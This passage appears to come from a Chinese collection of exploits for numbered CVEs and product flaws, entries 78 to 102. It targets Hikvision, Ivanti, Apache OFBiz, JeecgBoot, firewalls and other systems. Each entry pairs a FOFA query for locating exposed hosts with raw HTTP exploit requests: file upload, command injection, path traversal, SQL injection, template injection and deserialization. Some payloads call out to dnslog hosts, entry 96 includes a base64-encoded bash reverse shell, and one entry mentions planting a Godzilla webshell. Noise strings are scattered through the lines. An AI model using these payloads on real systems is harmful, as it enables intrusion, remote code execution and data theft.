POST /CuteSoft_Client/UploadHandler.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Connection: close
! E5 F0 Z: l2 `" B2 @Content-Length: 433
Accept: */*
$ A5 I6 e- f) z4 gAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Content-Type: multipart/form-data; boundary=----------398jnjVTTlDVXHlE7yYnfwBoix
8 Z, H* e) d6 z6 `' {
/ s; |, X+ w  e9 C6 W9 f------------398jnjVTTlDVXHlE7yYnfwBoix
6 E& L- @: q5 i/ TContent-Disposition: form-data; name="folder"
2 K" R& o$ |2 M9 N8 v
3 T& h3 N4 O' ~" D2 f3 T& I/upload/udplog
, r- I$ g5 D. d6 i------------398jnjVTTlDVXHlE7yYnfwBoix
Content-Disposition: form-data; name="Filedata"; filename="1.aspx"
Content-Type: application/octet-stream

  U/ I9 v5 a4 Vhello1234567
- a7 R6 z0 h# _! u' r------------398jnjVTTlDVXHlE7yYnfwBoix
7 g: }3 K2 L3 }) X0 TContent-Disposition: form-data; name="Upload"

Submit Query
6 R% [! p) K" C" U$ z------------398jnjVTTlDVXHlE7yYnfwBoix--

" \( a5 ?4 o+ _# ^- c2 s0 ]
8 ~9 c8 {" [/ b. y: u78. pkpmbs 建设工程质量监督系统 FileUpload.ashx 文件上传
" w" B! ~* x3 ]- x4 f. SFOFA：icon_hash="2001627082"
* F+ R1 j. y3 d6 E) CPOST /Platform/System/FileUpload.ashx HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
6 D. r( ?6 m: gContent-Length: 336
Accept-Encoding: gzip
& k4 l% y. U7 ^/ @1 r5 iContent-Type: multipart/form-data; boundary=----YsOxWxSvj1KyZow1PTsh98fdu6l

& ~9 a1 p) T9 I2 K: V6 [! O------YsOxWxSvj1KyZow1PTsh98fdu6l
Content-Disposition: form-data; name="file"; filename="YsOxWxSvj1KyZow1PTsh98fdu6l.txt"
Content-Type: image/png

YsOxWxSvj1KyZow1PTsh98fdu6l
------YsOxWxSvj1KyZow1PTsh98fdu6l
/ a  i- @; Y% ~2 @+ LContent-Disposition: form-data; name="target"
! h9 E6 |6 W3 T0 B
: w9 o1 {9 h, X: c3 A7 E0 `/Applications/SkillDevelopAndEHS/
------YsOxWxSvj1KyZow1PTsh98fdu6l--
9 D! `- A4 ^* K8 f8 j

5 j7 V! j1 l5 AGET /Applications/SkillDevelopAndEHS/YsOxWxSvj1KyZow1PTsh98fdu6l.txt HTTP/1.1
. K; q( v6 \/ S% k/ s) X8 iHost: x.x.x.x
" |9 g* O$ ?' G, O- X( w" Q
. E; @( I$ B* C+ Z
79. BYTEVALUE 百为流控路由器远程命令执行
' ?$ k5 Z" g0 l, O  SFOFA：BYTEVALUE 智能流控路由器
7 z- \0 @. q# e6 r* P8 \GET /goform/webRead/open/?path=|id HTTP/1.1
Host:IP
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
2 s6 F! m6 V  C$ o( I- RAccept-Encoding: gzip, deflate
) X4 Y0 O4 Y, lConnection: close
, W: @- x! R8 U0 G! ]3 S/ f9 kUpgrade-Insecure-Requests: 1
2 I, o% U& V, O3 `# e

80. 速达天耀软件DesignReportSave.jsp接口存在任意文件上传
/ }& S% C1 E/ u, l" oFOFA：app="速达软件-公司产品"
POST /report/DesignReportSave.jsp?report=../xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Content-Length: 27
3 Q$ [' H) C' y8 Q; gAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
: S2 j- n8 O( V3 }3 MAccept-Encoding: gzip, deflate
, L5 O+ t; ]4 q/ KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close
+ G# O- D5 w0 r4 a& T' i- b4 yContent-Type: application/octet-stream
Upgrade-Insecure-Requests: 1

<% out.print("oessqeonylzaf");%>

) C4 n9 B- y0 m# Z
7 b& c5 R& i2 _! A! t4 dGET /xykqmfxpoas.jsp HTTP/1.1
Host: x.x.x.x
( @6 @9 d( I6 h* e1 a" M+ F1 |User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
' @( {$ Y6 D' O( Y1 y; RConnection: close
0 {. T3 {# u, LAccept-Encoding: gzip
& k- \" ?& Y# f; X( y- {* Q

81. 宇视科技视频监控宇视(Uniview)main-cgi密码泄露
FOFA：app="uniview-视频监控"
' {& @+ w  k8 d6 e5 DGET /cgi-bin/main-cgi?json={"cmd":255,"szUserName":"","u32UserLoginHandle":-1} HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
- [, E+ N" T2 R+ fConnection: close
' j8 B( ?8 {5 k* ^+ j; _Accept-Encoding: gzip
, E- F" S& J0 N" `
: w" J6 ~5 p: a5 |- e1 s9 q% X
9 r0 {7 J* w7 Q82. 思福迪LOGBASE运维安全管理系统 test_qrcode_b 远程命令执行
1 O% q! C- |4 n8 s6 gFOFA：app="思福迪-LOGBASE"
5 X% W% V+ K' R, oPOST /bhost/test_qrcode_b HTTP/1.1
Host: BaseURL
User-Agent: Go-http-client/1.1
% q8 g3 U) w) [3 K, [. P% pContent-Length: 23
0 x2 w& n3 M: }$ F- t. l* N; L! PAccept-Encoding: gzip
Connection: close
Content-Type: application/x-www-form-urlencoded
Referer: BaseURL

8 ~3 ?; c4 ?  \+ E8 f) qz1=1&z2="|id;"&z3=bhost
: l0 i$ {- y' i
: A( k# f* c% [5 D9 J/ A7 T) u5 B
83. JeecgBoot testConnection 远程命令执行
$ T) q0 {! P7 f5 I# C/ oFOFA：title=="JeecgBoot 企业级低代码平台"


POST /jmreport/testConnection HTTP/1.1
Host: x.x.x.x
, C3 ^' @3 ~& e, C8 X+ RUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 8881
+ e' y: @# P% h! I& J' hAccept-Encoding: gzip
) `: \* g& t6 }9 ~7 {; M% ]* K& gCmd: echo "2ZTvHsq4au3uOQ2mK9OuJb86rdO"
! j) y9 I5 A9 H0 }Content-Type: application/json

. m+ t  S  X( v# `PAYLOAD
  l2 t( K  ~" A, F
3 b! B) B" k* X+ u3 w. I# A84. Jeecg-Boot JimuReport queryFieldBySql 模板注入
FOFA：title=="JeecgBoot 企业级低代码平台"
4 ~. `, k" y' w9 C1 [! M/ G2 a

" _* E7 t. ^  \0 V
3 ~/ ?1 S! |- \; I' APOST /jeecg-boot/jmreport/queryFieldBySql HTTP/1.1
Host: 192.168.40.130:8080
6 e  u7 u" ?8 K+ b9 _0 P0 BUser-Agent: curl/7.88.1
+ m8 S1 ~* k0 W7 h+ FContent-Length: 156
5 {5 L: T* @5 q7 lAccept: */*
5 O* x* X! t( _& ]9 e5 q. KConnection: close
- N4 H, g  c* s; e8 s: `# P/ s# Z0 B/ k! IContent-Type: application/json
Accept-Encoding: gzip

{
# \7 l" \7 h/ j0 W$ J$ v "sql": "<#assign ex=\"freemarker.template.utility.Execute\"?new()>${ex(\"curl http://ip.port.kr9dqoau.dnslog.pw/`whoami\")}",
; ]# W8 ?' r+ L2 K/ N' V, r2 v  "type": "0"
}
4 g% b2 ]  O$ {5 N; X# y
8 M5 B" t5 Y* u* v
. y  V& f+ ~9 _: O  `! X9 T+ F85. SysAid On-premise< 23.3.36远程代码执行
- _  s/ t" D' a: h, JCVE-2023-47246
; G* K2 X- ]( PFOFA：body="sysaid-logo-dark-green.png"
) L$ Z7 L' L' V- F  o7 G" VEXP数据包如下，注入哥斯拉马
8 J$ k9 |: k2 y* N; R' bPOST /userentry?accountId=../../../tomcat/webapps&symbolName=LDAP_REFRESH_ HTTP/1.1
% \0 ?! J6 |1 f& w) J5 dHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
2 `& f" h- X0 H0 K/ a/ ^6 uContent-Type: application/octet-stream
Accept-Encoding: gzip

& t" C9 R1 |! _- Y# FPAYLOAD
( d7 F& F/ R' G5 V( X$ Z7 k
回显URL：http://x.x.x.x/userfiles/index.jsp

86. 日本tosei自助洗衣机RCE
FOFA：body="tosei_login_check.php"
POST /cgi-bin/network_test.php HTTP/1.1
( G; b$ P  Q: d/ D% z3 j5 VHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36
$ L2 ~5 D6 [) a. Z! zConnection: close
Content-Length: 44
/ Z% R' \$ R# T  a4 ^$ `0 q, o# w8 hAccept: */*
Accept-Encoding: gzip
1 n1 o  ^1 |% h+ R* D/ r2 SAccept-Language: en
Content-Type: application/x-www-form-urlencoded

host=%0acat${IFS}/etc/passwd%0a&command=ping


( g: {* [9 b9 h; L% K: C87. 安恒明御安全网关aaa_local_web_preview文件上传
# y, ~: {4 X9 mFOFA：title="明御安全网关"
" K2 f" k# Y0 s' fPOST /webui/?g=aaa_local_web_preview&name=123&read=0&suffix=/../../../jfhatuwe.php HTTP/1.1
Host: X.X.X.X
% J0 Q2 h+ P! ?1 GUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Connection: close
Content-Length: 198
Accept-Encoding: gzip
Content-Type: multipart/form-data; boundary=qqobiandqgawlxodfiisporjwravxtvd

- E% B/ v/ n4 v: f--qqobiandqgawlxodfiisporjwravxtvd
5 H8 a( s  U" H: n- [' M- U% M8 lContent-Disposition: form-data; name="123"; filename="9B9Ccd.php"
5 H# m+ x8 ]% M2 _3 `Content-Type: text/plain
2 n5 c& }2 w# U# r
2ZqGNnsjzzU2GBBPyd8AIA7QlDq
2 O2 _3 [! C4 }  V8 \--qqobiandqgawlxodfiisporjwravxtvd--
/ r- O% E7 H4 w3 R8 k/ M
2 \1 D8 w& P9 ~' J! l
/jfhatuwe.php

, y, O- k3 a* Z: H88. 安恒明御安全网关 aaa_portal_auth_config_reset 远程命令执行
5 T& S0 I4 R. w) Z; UFOFA：title="明御安全网关"
GET /webui/?g=aaa_portal_auth_config_reset&type=%0aecho%20%27%3C%3Fphp%20echo%20%22assdwdmpidmsbzoabahpjhnokiduw%22%3B%20phpinfo%28%29%3B%20%3F%3E%27%20%3E%3E%20%2Fusr%2Flocal%2Fwebui%2Ftxzfsrur.php%0a HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
8 `9 ~8 d) p. v; e  U. v. t% [1 QAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Connection: close

7 o& L" [6 H7 V" O% _/ G/ ]% k) X6 R
# G9 M  N4 G( s6 r$ A: w/astdfkhl.php

, I/ {/ a# o: [& T- w. u8 E9 F89. 致远互联FE协作办公平台editflow_manager存在sql注入
. k, ?6 k2 O! A; UFOFA：title="FE协作办公平台" || body="li_plugins_download"
POST /sysform/003/editflow_manager.js%70 HTTP/1.1
8 N; D7 G1 D2 l% x& q7 d. yHost: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
3 ?1 v( k& T, Q7 d; n0 e- {Connection: close
1 h) h% o/ a9 M& QContent-Length: 41
  V, _- y( m' r1 ?  k0 J3 @Content-Type: application/x-www-form-urlencoded
$ ^, l+ o3 O+ Q) a' rAccept-Encoding: gzip

option=2&GUID=-1'+union+select+111*222--+

- I. b5 O* ~) ^2 c/ A9 n" J; C
% ?; |7 l0 {4 c8 q+ G- W0 C% Q90. 海康威视IP网络对讲广播系统3.0.3_20201113_RELEASE远程命令执行
FOFA：icon_hash="-1830859634"
POST /php/ping.php HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:120.0) Gecko/20100101 Firefox/120.0
8 z# _2 T8 f# |2 v! I  N3 t* l  DContent-Length: 51
Accept: application/json, text/javascript, */*; q=0.01
Accept-Encoding: gzip, deflate
  U) P8 s1 V6 m1 |# U+ KAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
+ O; w6 D4 s; [$ Z, W& V0 ~Connection: close
6 l( W7 }  p5 ^+ g/ b2 XContent-Type: application/x-www-form-urlencoded
X-Requested-With: XMLHttpRequest
0 b- _# ]1 ~5 z2 c# s- |" H
/ J1 F$ B% d4 l- A' `jsondata%5Btype%5D=99&jsondata%5Bip%5D=ipconfig
7 h: i( g  f& h4 Y# N. O. Y" K) \! z
9 m. q9 m/ o* V; k) i2 p* b
3 b& I# b4 `0 [  y% p! p91. 海康威视综合安防管理平台orgManage/v1/orgs/download任意文件读取
FOFA：title="综合安防管理平台"
GET /center/api/task/..;/orgManage/v1/orgs/download?fileName=../../../../../../../etc/passwd HTTP/1.1
1 u( U  C) Z' z2 S; s3 FHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/83.0.4103.116 Safari/537.36
Accept-Encoding: gzip, deflate
Accept: */*
: @" n2 O  w- m( O3 o# @" f& uConnection: keep-alive

  X1 j( d9 w5 L( _( p2 O
5 r, U( k+ F& }$ a* V, u
9 S: P' H9 `& N5 _92. 海康威视运行管理中心session命令执行
Fastjson命令执行
hunter：web.icon=="e05b47d5ce11d2f4182a964255870b76"
POST /center/api/session HTTP/1.1
4 |. n7 @+ z) T2 t( k& ?/ t) V* E9 gHost:
% v1 p) O) N1 ^$ O2 t8 E- YAccept: application/json, text/plain, */*
/ @5 Z2 R8 x3 V, N) S  XAccept-Encoding: gzip, deflate
, V$ b1 E4 A7 ?( C* OX-Requested-With: XMLHttpRequest
Content-Type: application/json;charset=UTF-8
) L* i2 w2 C/ V4 _5 vX-Language-Type: zh_CN
  |" }# M5 v. o4 c- o$ \Testcmd: echo test
0 p0 [: o0 y6 v) i3 A0 f: }8 s0 iUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X -1_0_0) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/78.0.3904.108 Safari/537.36
Accept-Language: zh-CN,zh;q=0.9
Content-Length: 5778

  g2 M3 S3 R3 p7 V) LPAYLOAD
( t2 r1 Q$ E2 e! _5 f$ D% r
3 l7 E" l+ j4 I  p6 [2 X
" Z2 h- g1 k3 m( o, G  t, t93. 奇安信网神SecGate3600防火墙app_av_import_save任意文件上传
7 O, O2 Z! k+ v" eFOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
POST /?g=app_av_import_save HTTP/1.1
Host: x.x.x.x
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarykcbkgdfx
$ F6 [8 L' o4 F% X- _- UUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& v: ]' p. C$ _% A* }0 \
# z* Y# ~- e# s/ S------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="MAX_FILE_SIZE"
/ W; e9 |0 O/ W2 V" q! \5 O2 s
10000000
& L; |! h* m5 i) o- d5 _------WebKitFormBoundarykcbkgdfx
Content-Disposition: form-data; name="upfile"; filename="xlskxknxa.txt"
Content-Type: text/plain

wagletqrkwrddkthtulxsqrphulnknxa
------WebKitFormBoundarykcbkgdfx
& F7 P1 M4 ~* Y1 p* k- dContent-Disposition: form-data; name="submit_post"
8 G3 p( S" d! k- O  A3 }! S
obj_app_upfile
------WebKitFormBoundarykcbkgdfx
( ^% ^/ ]: I8 M5 Z0 ]) oContent-Disposition: form-data; name="__hash__"
% i  \, D( a9 x  B& b2 `6 O& i8 B
0b9d6b1ab7479ab69d9f71b05e0e9445
# d8 z2 Z# a9 j; {& T; G3 ^------WebKitFormBoundarykcbkgdfx--


  L( D' P3 a. p( |6 pGET /attachements/xlskxknxa.txt HTTP/1.1
& _4 W" f: n8 W2 EHost: xx.xx.xx.xx
. Z- V6 n4 \& q/ J% I( ^! xUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
8 l4 v) V' n: f* }/ a/ K

94. 奇安信网神SecGate3600防火墙obj_area_import_save任意文件上传
FOFA：fid="1Lh1LHi6yfkhiO83I59AYg=="
" n( `( p, u3 {+ E5 V0 T# R3 lPOST /?g=obj_area_import_save HTTP/1.1
Host: x.x.x.x
+ n0 ?6 z1 f8 J1 bContent-Type: multipart/form-data; boundary=----WebKitFormBoundarybqvzqvmt
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
/ p2 Y& O! S. }2 p2 H* W0 S
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="MAX_FILE_SIZE"

: O; i( b: w* h4 C, l2 D10000000
. G* ]: s1 W6 s$ h------WebKitFormBoundarybqvzqvmt
6 j$ s& o( |( X( f4 |$ r  FContent-Disposition: form-data; name="upfile"; filename="cciytdzu.txt"
. p" U' v! Z) I) [1 {Content-Type: text/plain

pxplitttsrjnyoafavcajwkvhxindhmu
% f1 B0 S9 C2 ]) C------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="submit_post"

$ V7 }+ j: _0 F  q* p5 aobj_app_upfile
------WebKitFormBoundarybqvzqvmt
Content-Disposition: form-data; name="__hash__"
$ P! H- w) }" @. S3 h2 H
0b9d6b1ab7479ab69d9f71b05e0e9445
------WebKitFormBoundarybqvzqvmt--
+ B( X2 @* C$ F4 \; C8 k( f5 Z4 g/ M
* T! E  V( {+ G+ h% i9 I, d

6 \( N7 M! o2 i# pGET /attachements/xlskxknxa.txt HTTP/1.1
, D3 O) x" E/ z6 }1 N2 rHost: xx.xx.xx.xx
/ E& l- R: @* w) d$ mUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
, E/ j3 Z( m* w3 l8 a# a

: s5 N$ h8 F6 X; |, v
% r* v% S0 Q. T6 K8 P95. Apache-OFBiz < 18.12.10 xmlrpc远程代码执行
) Q$ n' {! h+ W! JCVE-2023-49070
FOFA：app="Apache_OFBiz"
% X  R# Z( H  l0 T" f$ MPOST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
) c; r7 M8 L  Q7 VConnection: close
; g9 _1 G8 \% ~8 {5 oContent-Length: 889
, k8 ?" @$ b1 KContent-Type: application/xml
- J  U+ Z! k# i% R% f$ X8 SAccept-Encoding: gzip
! Z: S3 n/ K% I# v. i
' n) i4 [6 Q0 Y- G<?xml version="1.0"?>
<methodCall>
   <methodName>2a4UTp2XBzXgziEO3BIFOCbJiI3</methodName>
    <params>
      <param>
      <value>
        <struct>
! n9 X$ P; r! @0 a) F2 X  g       <member>
# P' e  J' B+ w+ D* Z" P+ L5 a          <name>test</name>
$ G- ?3 A- x" p7 m: c! f          <value>
      <serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">[payload的base64值]</serializable>
          </value>
* o, p" N7 |9 |        </member>
, m9 |% }. h! z& c0 j      </struct>
+ j0 m! i& p; X! z      </value>
    </param>
    </params>
4 q' `  H, w+ i* K) P/ O</methodCall>


& {% J1 Y6 j" ^, A$ i用ysoserial生成payload
java -jar ysoserial-all.jar CommonsBeanutils1 "ping 41e87zy3.dnslog.pw" | base64 | tr -d "\n"
  s* p/ y% [+ q" W
1 D6 S1 q% P+ k" D
( ]( p( M1 E* l5 _2 ~  ]0 h将生成的payload替换到上面的POC
POST /webtools/control/xmlrpc;/?USERNAME&PASSWORD=s&requirePasswordChange=Y HTTP/1.1
Host: 192.168.40.130:8443
) B/ [+ E# }5 F! ]2 b$ A% N# [User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/36.0.1985.67 Safari/537.36
' j4 E4 b) q+ x# q7 }  [Connection: close
Content-Length: 889
Content-Type: application/xml
Accept-Encoding: gzip
; P! p# u7 J& G
PAYLOAD

96. Apache OFBiz  18.12.11 groovy 远程代码执行
FOFA：app="Apache_OFBiz"
POST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
Host: localhost:8443
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Accept: */*
+ B$ C- `1 H& C6 WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
( X: |; }6 @& K: a2 o! r0 \+ t0 Y( sContent-Type: application/x-www-form-urlencoded
Content-Length: 55

groovyProgram=throw+new+Exception('id'.execute().text);
" K8 D8 T4 Y& Y2 e& [

9 B/ ]$ n$ n* u; Y0 M+ [; V反弹shell
在kali上启动一个监听
" V, Z4 w% P6 znc -lvp 7777
+ @  ?* |$ K% K* \9 s4 c# V
7 g. y4 R3 P5 C/ N6 ?2 APOST /webtools/control/ProgramExport/?USERNAME=&PASSWORD=&requirePasswordChange=Y HTTP/1.1
8 U1 C8 X9 U6 [4 T& j1 y+ ^8 ~Host: 192.168.40.130:8443
3 Q+ b* Z+ a9 S8 [User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
# u) \% }2 H! A/ X/ L) [) sAccept: */*
+ d8 d3 ^/ S: CAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
. w' |: P/ R- O( ~Content-Type: application/x-www-form-urlencoded
Content-Length: 71
" R: @5 M0 U6 X4 Y4 F1 z
groovyProgram='bash+-c+{echo,YmFzaCUyMC1pJTIwPiYlMjAvZGV2L3RjcC8xOTIuMTY4LjQwLjEyOC83Nzc3JTIwMD4mMQ==}|{base64,-d}|{bash,-i}'.execute();

97. OneBlog v2.2.2 博客Shiro反序列化远程命令执行
FOFA：body="/assets/js/zhyd.tool.js" || body="OneBlog,开源博客"
GET /passport/login/ HTTP/1.1
( P" Y7 g; L  v1 g( GHost: 192.168.40.130:8085
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
Accept-Encoding: gzip
Connection: close
Cookie: rememberMe=PAYLOAD
X-Token-Data: echo "2a4MU6FVYI3qR4AWxn1Bdfh6Ttk"


98. SpiderFlow爬虫平台远程命令执行
+ z8 B/ B! ~% X7 u' d/ ~, LCVE-2024-0195
FOFA：app="SpiderFlow"
% S* R% B( s0 j# v0 F& j+ {& f- lPOST /function/save HTTP/1.1
Host: 192.168.40.130:8088
- [! J% v" ?$ d% H* b  q% a- @User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
! q) `: b" j0 C$ l3 L0 PConnection: close
Content-Length: 121
Accept: */*
9 x$ m: T- I9 c9 @6 i  GAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
% j8 Q+ [: ^% c$ `Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
5 p5 F( D9 }# ~7 T; q, e
id=1&name=cmd&parameter=rce&script=%7DJava.type('java.lang.Runtime').getRuntime().exec('ping+a4xs0nop.dnslog.pw')%3B%7B
  f1 [! b) Y; I0 i% G5 \# M
- l) s5 h- \, Z+ S0 g' V
' v! e( k' m1 u- ]8 m) N99. Ncast盈可视高清智能录播系统busiFacade RCE
4 A$ C: ^3 S  z/ s0 Q& ?+ \$ Y, JCVE-2024-0305
' G. z$ X( [. M% s1 tFOFA：app="Ncast-产品" && title=="高清智能录播系统"
* _) B0 I6 J" e" d3 |POST /classes/common/busiFacade.php HTTP/1.1
Host: 192.168.40.130:8080
4 R  x/ d6 ^; P- `% zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0
Connection: close
) @3 `: i( Z/ b$ d5 TContent-Length: 154
: `4 Q, Q" t7 Z9 h- PAccept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
X-Requested-With: XMLHttpRequest
9 ~8 ^! g; t1 i5 Q4 f+ A/ ]. {
& v) k+ V3 p9 X" g9 @%7B%22name%22:%22ping%22,%22serviceName%22:%22SysManager%22,%22userTransaction%22:false,%22param%22:%5B%22ping%20127.0.0.1%20%7C%20echo%20hello%22%5D%7D
* E! o  T6 `$ H. S! V
" t" }6 G7 U0 R5 p
  l, c. L9 p8 L- }: p& @" o100. Likeshop 2.5.7.20210311 File.php userFormImage 文件上传
3 z7 \' {! \* l* H5 e$ h. }, t, qCVE-2024-0352
' z2 b2 G4 F& `FOFA：icon_hash="874152924"
2 `8 K$ [2 |$ P, E, C" Y# r" PPOST /api/file/formimage HTTP/1.1
" _+ j9 e8 `. u# aHost: 192.168.40.130
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2226.0 Safari/537.36
Connection: close
Content-Length: 201
% |1 w6 [! I* R- l& L8 f+ t' C% CContent-Type: multipart/form-data; boundary=----WebKitFormBoundarygcflwtei
Accept-Encoding: gzip
1 p1 O3 s5 w1 }% v
6 n* F: A# m6 m/ ?# m------WebKitFormBoundarygcflwtei
Content-Disposition: form-data; name="file";filename="IE4MGP.php"
+ y% Q' C2 O( a2 m; [Content-Type: application/x-php
) S8 T; g3 x  e
2ayyhRXiAsKXL8olvF5s4qqyI2O
------WebKitFormBoundarygcflwtei--
6 r0 w8 {; f& \

3 z9 d' Z% y/ Q" U# N! Y101. ivanti policy secure-22.6命令注入
, N: e8 g8 m8 b% c* U) a. Y; m0 \" Q# mCVE-2024-21887
FOFA：body="welcome.cgi?p=logo"
GET /api/v1/totp/user-backup-code/../../license/keys-status/%3bcurl%20a4xs0nop.dnslog.pw HTTP/1.1
Host: x.x.x.xx.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
& L& R4 h4 w  s/ WConnection: close
/ P% r; D7 Q9 t  l6 t9 }Accept-Encoding: gzip


: P: {' `! \  j8 ?: u( j102. Ivanti Pulse Connect Secure VPN SSRF致远程代码执行
5 ^3 h& H& ^8 f: E' c9 U! X1 C1 UCVE-2024-21893
4 t+ S( F! W0 O, F& F7 y0 x+ t7 rFOFA：body="welcome.cgi?p=logo"
/ h' k, ^, y# gPOST /dana-ws/saml20.ws HTTP/1.1
Host: x.x.x.x
- I- a( g9 d& j& LUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/89.0.4389.114 Safari/537.36
Connection: close
Content-Length: 792
Accept-Encoding: gzip
" p% a8 y7 w$ P: a; I, B4 R2 ^
<?xml version="1.0" encoding="UTF-8"?><soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/"><soap:Body>             <ds:Signature           xmlns:ds="http://www.w3.org/2000/09/xmldsig#">                   <ds:SignedInfo>                        <ds:CanonicalizationMethod Algorithm="http://www.w3.org/2001/10/xml-exc-cc14n#"/>                         <ds:SignatureMethod Algorithm="http://www.w3.org/2000/09/xmldsig#rsa-sha1"/>                    </ds:SignedInfo>                       <<ds:SignatureValue>qwerty</ds:SignatureValue>                    <ds:KeyInfo xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xsi:schemaLocation="http://www.w3.org/22000/09/xmldsig" 